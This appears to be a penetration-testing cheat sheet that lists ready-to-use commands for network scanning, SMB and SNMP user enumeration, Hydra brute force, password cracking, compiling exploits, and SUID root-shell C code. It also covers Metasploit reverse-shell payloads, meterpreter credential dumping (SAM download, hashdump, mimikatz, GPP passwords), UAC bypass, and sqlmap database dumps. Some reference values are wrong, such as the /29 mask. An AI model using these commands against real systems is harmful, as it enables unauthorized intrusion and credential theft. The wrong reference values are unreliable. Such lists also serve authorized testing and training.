Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.
| Command | Description |
|---|---|
| nmap -v -sS -A -T4 target | Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services |
| nmap -v -sS -p–A -T4 target | As above but scans all TCP ports (takes a lot longer) |
| nmap -v -sU -sS -p- -A -T4 target | As above but scans all TCP ports and UDP scan (takes even longer) |
| nmap -v -p 445 –script=smb-check-vulns –script-args=unsafe=1 192.168.1.X |
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover |
| nmap localhost | Displays all the ports that are currently in use |
| ls /usr/share/nmap/scripts/* | grep ftp | Search nmap scripts for keywords |
In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS, /ˈsɪfs/), operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network
| Command | Description |
|---|---|
| nbtscan 192.168.1.0/24 | Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain |
| enum4linux -a target-ip | Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing |
Other methods of host discovery, that don’t use nmap…
| Command | Description |
|---|---|
| netdiscover -r 192.168.1.0/24 | Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site |
Enumerate Windows shares / Samba shares.
| Command | Description |
|---|---|
| nbtscan 192.168.1.0/24 | Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain |
| enum4linux -a target-ip | Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing |
Python local web server command, handy for serving up shells and exploits on an attacking machine.
| Command | Description |
|---|---|
| python -m SimpleHTTPServer 80 | Run a basic http server, great for serving up shells etc |
How to mount NFS / CIFS, Windows and Linux file shares.
| Command | Description |
|---|---|
| mount 192.168.1.1:/vol/share /mnt/nfs | Mount NFS share to /mnt/nfs |
| mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs |
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history) |
| net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no |
Mount a Windows share on Windows from the command line |
| apt-get install smb4k -y | Install smb4k on Kali, useful Linux GUI for browsing SMB shares |
A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
| Command | Description |
|---|---|
| nc -v 192.168.1.1 25
telnet 192.168.1.1 25 |
Basic versioning / fingerprinting via displayed banner |
SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system. SNMP employs two major types of software components for communication: the SNMP agent, which is located on the networking device, and the SNMP management station, which communicates with the agent.
| Command | Description |
|---|---|
| snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1| snmpenum -t 192.168.1.X onesixtyone -c names -i hosts |
SNMP enumeration |
| Command | Description |
|---|---|
| nslookup -> set type=any -> ls -d blah.com | Windows DNS zone transfer |
| dig axfr blah.com @ns1.blah.com | Linux DNS zone transfer |
DNSRecon provides the ability to perform:
- Check all NS Records for Zone Transfers
- Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
- Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
- Check for Wildcard Resolution
- Brute Force subdomain and host A and AAAA records given a domain and a wordlist
- Perform a PTR Record lookup for a given IP Range or CIDR
- Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
- Enumerate Common mDNS records in the Local Network Enumerate Hosts and Subdomains using Google
DNS Enumeration Kali - DNSReconroot:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
| Command | Description |
|---|---|
| nikto -h 192.168.1.1 | Perform a nikto scan against target |
| dirbuster | Configure via GUI, CLI input doesn’t work most of the time |
| Command | Description |
|---|---|
| tcpdump tcp port 80 -w output.pcap -i eth0 | tcpdump for port 80 on interface eth0, outputs to output.pcap |
Some techniques used to remotely enumerate users on a target system.
| Command | Description |
|---|---|
| python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX |
Enumerate users from SMB |
| ridenum.py 192.168.XXX.XXX 500 50000 dict.txt | RID cycle SMB / enumerate users from SMB |
| Command | Description |
|---|---|
| snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |cut -d” “ -f4 |
Enmerate users from SNMP |
| python /usr/share/doc/python-impacket-doc/examples/ samrdump.py SNMP 192.168.X.XXX |
Enmerate users from SNMP |
| nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) |
Search for SNMP servers with nmap, grepable output |
| Command | Description |
|---|---|
| /usr/share/wordlists | Kali word lists |
Massive wordlist here at HackToday’s blog
Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. On Ubuntu it can be installed from the synaptic package manager. On Kali Linux, it is per-installed.
| Command | Description |
|---|---|
| hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V |
Hydra FTP brute force |
| Command | Description |
|---|---|
| hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V |
Hydra POP3 brute force |
| Command | Description |
|---|---|
| hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V | Hydra SMTP brute force |
Use -t to limit concurrent connections, example: -t 15
John the Ripper is different from tools like Hydra. Hydra does blind brute-forcing by trying username/password combinations on a service daemon like ftp server or telnet server. John however needs the hash first. So the greater challenge for a hacker is to first get the hash that is to be cracked. Now a days hashes are more easily crackable using free rainbow tables available online. Just go to one of the sites, submit the hash and if the hash is made of a common word, then the site would show the word almost instantly. Rainbow tables basically store common words and their hashes in a large database. Larger the database, more the words covered.
| Command | Description |
|---|---|
| john –wordlist=/usr/share/wordlists/rockyou.txt hashes | JTR password cracking |
| john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt |
JTR forced descrypt cracking with wordlist |
| john –format=descrypt hash –show | JTR forced descrypt brute force cracking |
Ways to find exploits for enumerated hosts / services.
| Command | Description |
|---|---|
| searchsploit windows 2003 | grep -i local | Search exploit-db for exploit, in this example windows 2003 + local esc |
| site:exploit-db.com exploit kernel <= 3 | Use google to search exploit-db.com for exploits |
| grep -R “W7” /usr/share/metasploit-framework /modules/exploit/windows/* |
Search metasploit modules using grep – msf search sucks a bit |
C #includes will indicate which OS should be used to build the exploit.
| Command | Description |
|---|---|
| process.h, string.h, winbase.h, windows.h, winsock2.h | Windows exploit code |
| arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h |
Linux exploit code |
Compile exploit gcc.
| Command | Description |
|---|---|
| gcc -o exploit exploit.c | Basic GCC compile |
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
| Command | Description |
|---|---|
| gcc -m32 exploit.c -o exploit | Cross compile 32 bit binary on 64 bit Linux |
Build / compile windows exploits on Linux, resulting in a .exe file.
| Command | Description |
|---|---|
| i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe | Compile windows .exe on Linux |
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh"; perl —e 'exec "/bin/sh";'
exec "/bin/sh"
os.execute('/bin/sh')
Run shell commands from vi:
:!bash
!sh
Metasploit was created by H. D. Moore in 2003 as a portable network tool using Perl. By 2007, the Metasploit Framework had been completely rewritten in Ruby. On October 21, 2009, the Metasploit Project announced that it had been acquired by Rapid7, a security company that provides unified vulnerability management solutions.
Like comparable commercial products such as Immunity’s Canvas or Core Security Technologies’ Core Impact, Metasploit can be used to test the vulnerability of computer systems or to break into remote systems. Like many information security tools, Metasploit can be used for both legitimate and unauthorized activities. Since the acquisition of the Metasploit Framework, Rapid7 has added two open core proprietary editions called Metasploit Express and Metasploit Pro.
Metasploit’s emerging position as the de facto exploit development framework led to the release of software vulnerability advisories often accompanied by a third party Metasploit exploit module that highlights the exploitability, risk and remediation of that particular bug. Metasploit 3.0 began to include fuzzing tools, used to discover software vulnerabilities, rather than just exploits for known bugs. This avenue can be seen with the integration of the lorcon wireless (802.11) toolset into Metasploit 3.0 in November 2006. Metasploit 4.0 was released in August 2011.
| Command | Description |
|---|---|
| set payload windows/meterpreter/reverse_tcp | Windows reverse tcp payload |
| Command | Description |
|---|---|
| set payload windows/vncinject/reverse_tcp
set ViewOnly false |
Meterpreter Windows VNC Payload |
| Command | Description |
|---|---|
| set payload linux/meterpreter/reverse_tcp | Meterpreter Linux Reverse Payload |
Useful meterpreter commands.
| Command | Description |
|---|---|
| upload file c:\\windows | Meterpreter upload file to Windows target |
| download c:\\windows\\repair\\sam /tmp | Meterpreter download file from Windows target |
| download c:\\windows\\repair\\sam /tmp | Meterpreter download file from Windows target |
| execute -f c:\\windows\temp\exploit.exe | Meterpreter run .exe on target – handy for executing uploaded exploits |
| execute -f cmd -c | Creates new channel with cmd shell |
| ps | Meterpreter show processes |
| shell | Meterpreter get shell on the target |
| getsystem | Meterpreter attempts priviledge escalation the target |
| hashdump | Meterpreter attempts to dump the hashes on the target |
| portfwd add –l 3389 –p 3389 –r target | Meterpreter create port forward to target machine |
| portfwd delete –l 3389 –p 3389 –r target | Meterpreter delete port forward |
| Command | Description |
|---|---|
| use exploit/windows/smb/ms08_067_netapi | MS08_067 Windows 2k, XP, 2003 Remote Exploit |
| use exploit/windows/dcerpc/ms06_040_netapi | MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit |
| use exploit/windows/smb/ ms09_050_smb2_negotiate_func_index |
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit |
| Command | Description |
|---|---|
| use exploit/windows/local/bypassuac | Bypass UAC on Windows 7 + Set target + arch, x86/64 |
| Command | Description |
|---|---|
| use auxiliary/scanner/http/dir_scanner | Metasploit HTTP directory scanner |
| use auxiliary/scanner/http/jboss_vulnscan | Metasploit JBOSS vulnerability scanner |
| use auxiliary/scanner/mssql/mssql_login | Metasploit MSSQL Credential Scanner |
| use auxiliary/scanner/mysql/mysql_version | Metasploit MSSQL Version Scanner |
| use auxiliary/scanner/oracle/oracle_login | Metasploit Oracle Login Module |
| Command | Description |
|---|---|
| use exploit/multi/script/web_delivery | Metasploit powershell payload delivery module |
| post/windows/manage/powershell/exec_powershell | Metasploit upload and run powershell script through a session |
| use exploit/multi/http/jboss_maindeployer | Metasploit JBOSS deploy |
| use exploit/windows/mssql/mssql_payload | Metasploit MSSQL payload |
| Command | Description |
|---|---|
| run post/windows/gather/win_privs | Metasploit show privileges of current user |
| use post/windows/gather/credentials/gpp | Metasploit grab GPP saved passwords |
| load mimikatz -> wdigest | Metasplit load Mimikatz |
| run post/windows/gather/local_admin_search_enum | Idenitfy other machines that the supplied domain user has administrative access to |
| Operating System | TTL Size |
|---|---|
| Windows | 128 |
| Linux | 64 |
| Solaris | 255 |
| Cisco / Network | 255 |
E.g Class A,B,C (depreciated)
| Class | IP Address Range |
|---|---|
| Class A IP Address Range | 0.0.0.0 – 127.255.255.255 |
| Class B IP Address Range | 128.0.0.0 – 191.255.255.255 |
| Class C IP Address Range | 192.0.0.0 – 223.255.255.255 |
| Class D IP Address Range | 224.0.0.0 – 239.255.255.255 |
| Class E IP Address Range | 240.0.0.0 – 255.255.255.255 |
| Class | Range |
|---|---|
| Class A Private Address Range | 10.0.0.0 – 10.255.255.255 |
| Class B Private Address Range | 172.16.0.0 – 172.31.255.255 |
| Class C Private Address Range | 192.168.0.0 – 192.168.255.255 |
| 127.0.0.0 – 127.255.255.255 |
| CIDR | Decimal Mask | Number of Hosts |
|---|---|---|
| /31 | 255.255.255.254 | 1 Host |
| /30 | 255.255.255.252 | 2 Hosts |
| /29 | 255.255.255.249 | 6 Hosts |
| /28 | 255.255.255.240 | 14 Hosts |
| /27 | 255.255.255.224 | 30 Hosts |
| /26 | 255.255.255.192 | 62 Hosts |
| /25 | 255.255.255.128 | 126 Hosts |
| /24 | 255.255.255.0 | 254 Hosts |
| /23 | 255.255.254.0 | 512 Host |
| /22 | 255.255.252.0 | 1022 Hosts |
| /21 | 255.255.248.0 | 2046 Hosts |
| /20 | 255.255.240.0 | 4094 Hosts |
| /19 | 255.255.224.0 | 8190 Hosts |
| /18 | 255.255.192.0 | 16382 Hosts |
| /17 | 255.255.128.0 | 32766 Hosts |
| /16 | 255.255.0.0 | 65534 Hosts |
| /15 | 255.254.0.0 | 131070 Hosts |
| /14 | 255.252.0.0 | 262142 Hosts |
| /13 | 255.248.0.0 | 524286 Hosts |
| /12 | 255.240.0.0 | 1048674 Hosts |
| /11 | 255.224.0.0 | 2097150 Hosts |
| /10 | 255.192.0.0 | 4194302 Hosts |
| /9 | 255.128.0.0 | 8388606 Hosts |
| /8 | 255.0.0.0 | 16777214 Hosts |
Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.
| ASCII | Character |
|---|---|
| x00 | Null Byte |
| x08 | BS |
| x09 | TAB |
| x0a | LF |
| x0d | CR |
| x1b | ESC |
| x20 | SPC |
| x21 | ! |
| x22 | “ |
| x23 | # |
| x24 | $ |
| x25 | % |
| x26 | & |
| x27 | ` |
| x28 | ( |
| x29 | ) |
| x2a | * |
| x2b | + |
| x2c | , |
| x2d | – |
| x2e | . |
| x2f | / |
| x30 | 0 |
| x31 | 1 |
| x32 | 2 |
| x33 | 3 |
| x34 | 4 |
| x35 | 5 |
| x36 | 6 |
| x37 | 7 |
| x38 | 8 |
| x39 | 9 |
| x3a | : |
| x3b | ; |
| x3c | < |
| x3d | = |
| x3e | > |
| x3f | ? |
| x40 | @ |
| x41 | A |
| x42 | B |
| x43 | C |
| x44 | D |
| x45 | E |
| x46 | F |
| x47 | G |
| x48 | H |
| x49 | I |
| x4a | J |
| x4b | K |
| x4c | L |
| x4d | M |
| x4e | N |
| x4f | O |
| x50 | P |
| x51 | Q |
| x52 | R |
| x53 | S |
| x54 | T |
| x55 | U |
| x56 | V |
| x57 | W |
| x58 | X |
| x59 | Y |
| x5a | Z |
| x5b | [ |
| x5c | \ |
| x5d | ] |
| x5e | ^ |
| x5f | _ |
| x60 | ` |
| x61 | a |
| x62 | b |
| x63 | c |
| x64 | d |
| x65 | e |
| x66 | f |
| x67 | g |
| x68 | h |
| x69 | i |
| x6a | j |
| x6b | k |
| x6c | l |
| x6d | m |
| x6e | n |
| x6f | o |
| x70 | p |
| x71 | q |
| x72 | r |
| x73 | s |
| x74 | t |
| x75 | u |
| x76 | v |
| x77 | w |
| x78 | x |
| x79 | y |
| x7a | z |
A collection of useful Cisco IOS commands.
| Command | Description |
|---|---|
| enable | Enters enable mode |
| conf t | Short for, configure terminal |
| (config)# interface fa0/0 | Configure FastEthernet 0/0 |
| (config-if)# ip addr 0.0.0.0 255.255.255.255 | Add ip to fa0/0 |
| (config-if)# ip addr 0.0.0.0 255.255.255.255 | Add ip to fa0/0 |
| (config-if)# line vty 0 4 | Configure vty line |
| (config-line)# login | Cisco set telnet password |
| (config-line)# password YOUR-PASSWORD | Set telnet password |
| # show running-config | Show running config loaded in memory |
| # show startup-config | Show sartup config |
| # show version | show cisco IOS version |
| # show session | display open sessions |
| # show ip interface | Show network interfaces |
| # show interface e0 | Show detailed interface info |
| # show ip route | Show routes |
| # show access-lists | Show access lists |
| # dir file systems | Show available files |
| # dir all-filesystems | File information |
| # dir /all | SHow deleted files |
| # terminal length 0 | No limit on terminal output |
| # copy running-config tftp | Copys running config to tftp server |
| # copy running-config startup-config | Copy startup-config to running-config |
| Hash | Size |
|---|---|
| MD5 Hash Length | 16 Bytes |
| SHA-1 Hash Length | 20 Bytes |
| SHA-256 Hash Length | 32 Bytes |
| SHA-512 Hash Length | 64 Bytes |
Likely just use hash-identifier for this but here are some example hashes:
| Hash | Example |
|---|---|
| MD5 Hash Example | 8743b52063cd84097a65d1633f5c74f5 |
| MD5 $PASS:$SALT Example | 01dfae6e5d4d90d9892622325959afbe:7050461 |
| MD5 $SALT:$PASS | f0fda58630310a6dd91a7d8f0a4ceda2:4225637426 |
| SHA1 Hash Example | b89eaac7e61417341b710b727768294d0e6a277b |
| SHA1 $PASS:$SALT | 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 |
| SHA1 $SALT:$PASS | cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 |
| SHA-256 | 127e6fbfe24a750e72930c220a8e138275656b 8e5d8f48a98c3c92df2caba935 |
| SHA-256 $PASS:$SALT | c73d08de890479518ed60cf670d17faa26a4a7 1f995c1dcc978165399401a6c4 |
| SHA-256 $SALT:$PASS | eb368a2dfd38b405f014118c7d9747fcc97f4 f0ee75c05963cd9da6ee65ef498:560407001617 |
| SHA-512 | 82a9dda829eb7f8ffe9fbe49e45d47d2dad9 664fbb7adf72492e3c81ebd3e29134d9bc 12212bf83c6840f10e8246b9db54a4 859b7ccd0123d86e5872c1e5082f |
| SHA-512 $PASS:$SALT | e5c3ede3e49fb86592fb03f471c35ba13e8 d89b8ab65142c9a8fdafb635fa2223c24e5 558fd9313e8995019dcbec1fb58414 6b7bb12685c7765fc8c0d51379fd |
| SHA-512 $SALT:$PASS | 976b451818634a1e2acba682da3fd6ef a72adf8a7a08d7939550c244b237c72c7d4236754 4e826c0c83fe5c02f97c0373b6b1 386cc794bf0d21d2df01bb9c08a |
| NTLM Hash Example | b4b9b02e6f09a9bd760f388b67351e2b |
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
| Command | Description |
|---|---|
| sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3 |
Automated sqlmap scan |
| sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read=”/var/www/blah.php” |
Targeted sqlmap scan |
| sqlmap -u “http://meh.com/meh.php?id=1” –dbms=mysql –tech=U –random-agent –dump |
Scan url for union + error based injection with mysql backend and use a random user agent + database dump |
| sqlmap -o -u “http://meh.com/form/” –forms | sqlmap check form for injection |
| sqlmap -o -u “http://meh/vuln-form” –forms -D database-name -T users –dump |
sqlmap dump and crack hashes for table users on database-name. |